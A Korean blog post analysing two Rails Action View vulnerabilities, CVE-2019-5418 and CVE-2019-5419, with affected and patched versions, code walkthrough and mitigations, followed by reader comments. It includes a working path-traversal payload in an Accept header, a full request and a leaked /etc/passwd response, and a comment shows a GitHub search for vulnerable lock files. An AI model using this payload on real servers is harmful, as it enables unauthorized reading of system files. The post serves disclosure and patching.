지난주에 github에서 보안 관련 노티를 받았었는데 영향도를 보고 조금 놀랬습니다..
(critical severity 라니…)

아무튼 둘 다 CVE 넘버링이 있는건이고, 5418의 경우 시스템 파일이 유출될 수도 있어 좀 중요해보이긴합니다.

요약하면 이렇습니다.

CVE-2019-5418 : File Content Disclosure in Action View
  • Vulnerable versions: >= 5.1.0, <= 5.1.6.1
  • Patched version: 5.1.6.2
  • All unpatched versions
CVE-2019-5419 : DOS
  • Vulnerable versions: >= 5.1.0, <= 5.1.6.1
  • Patched version: 5.1.6.2
  • All unpatched versions

인줄 알았으나 파악해보니 범위가 더 컸네요.. 두 취야점 모두 전 버전대에서 발생하는 취약점입니다.

Patch version
  • 6.0.0.0.beta3
  • 5.2.2.1
  • 5.1.6.2
  • 5.0.7.2
  • 4.2.11.1



What Vulnerabile?

5418, 5419 모두 Ruby on Rails의 Action View에서 발생한 취약점으로 Action View는 따로 설치해서 사용하는 라이브러리가 아니라 Rails 코어 라이브러리라 많은 어플리케이션이 영향받지 않을까 싶습니다.

우선 어떤 부분때문에 어떤 문제가 일어났는지 살펴보도록 하죠.

CVE-2019-5418 : File Content Disclosure in Action View

Action View는 웹 요청의 Content-Type 헤더, 파라미터 등을 통해 라우팅에 정의된 파일을 참고하여 사용자의 요청을 처리하는 기능을 가지고 있습니다.
일반적인 레일즈의 컨트롤러 코드입니다.

class UserController < ApplicationController 
  def index 
    render file: "#{Rails.root}/some/file" 
    # index page로 접근하면 /some/file을 파일 타입으로 렌더링 해줍니다.
  end 
end

여기에 매칭되는 ACtionView의 코드를 보면 이렇습니다.
option(위에선 file:)을 보고 처리로직이 분기되는데, file:의 경우 find_file fucntion을 호출합니다.
(/lib/action_view/renderer/template_renderer.rb)

module ActionView   
  class TemplateRenderer < AbstractRenderer #:nodoc:
      def determine_template(options)
        keys = options.has_key?(:locals) ? options[:locals].keys : []
        if options.key?(:body)
          ...
        elsif options.key?(:file)
          with_fallbacks { find_file(options[:file], nil, false, keys, @details) }
        ...
      end
end
def find_file(name, prefixes = [], partial = false, keys = [], options = {})
    @view_paths.find_file(*args_for_lookup(name, prefixes, partial, keys, options))
end

여기서 args_for_lookup의 결과로 인해 file: 값은 details[formats] 으로 저장됩니다. 이 값은 후에 렌더랭 해줄 template를 찾는 쿼리(파일 쿼리 같은..)의 값으로 사용되는는데, query 구문 자체에 path traversal 구문을 injection해서 로컬 파일을 대신 읽어올 수 있습니다.

문법 에러를 피하기 위해서 이 취약점을 공개한 친구는 뒤쪽에 정확하게 맞아떨어지는 구문을 붙여준거구요.

[ Attack code ]
../../../../../../etc/passwd{{


[ Raw query ]
프로젝트디렉토리/file{.{en},}{.{../../../../../../etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}

결구 실제 웹 요청을 보시면…
[ Request ]
GET /test HTTP/1.1
Host: 127.0.0.1:3000
Accept: ../../../../../../etc/passwd{{
... 생략 ...


[ Response ]
HTTP/1.1 200 OK
...생략

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
이렇게 시스템 파일이 읽힙니다.

CVE-2019-5419 : DOS

흥미있는건 5418이지만, 실제로 Critical을 만든 장본인은 DOS 취약점입니다. 위에랑 동일한 내용인데, Accept 헤더에 Looping 돌 수 있는 코드를 넣어줘서 CPU 점유를 가져가는 형태의 취약점이고, 페이로드 자체는 아예 공개를 안한듯 합니다.

How to Protect?

ActionView가 Rails 코어 라이브러리라 Rails 버전업이 필요합니다.

Patch version
  • 6.0.0.0.beta3
  • 5.2.2.1
  • 5.1.6.2
  • 5.0.7.2
  • 4.2.11.1
인증 없어도 가능한 취약점이니... 되도록이면 패치하시는게 좋을 것 같네요
(저도 언능 해야겠어요...)

혹시라도 버전업이 어려운 경우엔 render 포맷 지정으로 임시 대응이 가능합니다.

render file: "#{Rails.root}/file", formats: [:html]

Reference

https://chybeta.github.io/2019/03/16/Analysis-for【CVE-2019-5418】File-Content-Disclosure-on-Rails/

댓글 4개:

  1. 혹시나 git 사용하신다면 이런식으로 검색쿼리 날려볼 수 있겠네요.

    "actionview (=5.1" extension:lock

    url 쿼리로 보면 이럴듯합니다.

    /search?q="actionview+%28%3D5.1"+extension%3Alock&type=Code

    답글삭제
  2. 그리고 gemfile에서 사용하는 버전 관리는 twiddle-wakka 라는 단축 표기법 사용합니다.
    (https://thoughtbot.com/blog/rubys-pessimistic-operator)

    요걸론 나중에 글 한번 써야겠네요 :)

    답글삭제
  3. 오늘 정리하고 댓글로 한번 더 추가합니다.. (내용 정정 ㅜ)

    우선 Gem.lock 파일에서 actionview 버전 확인하는 것 보다 그냥 Rails 앱 버전 확인하는게 제일 빠르고, 대다수 버전이 취약하기 떄문에 그냥 최신으로 올려주시는게 최선의 방법일듯 합니다.

    답글삭제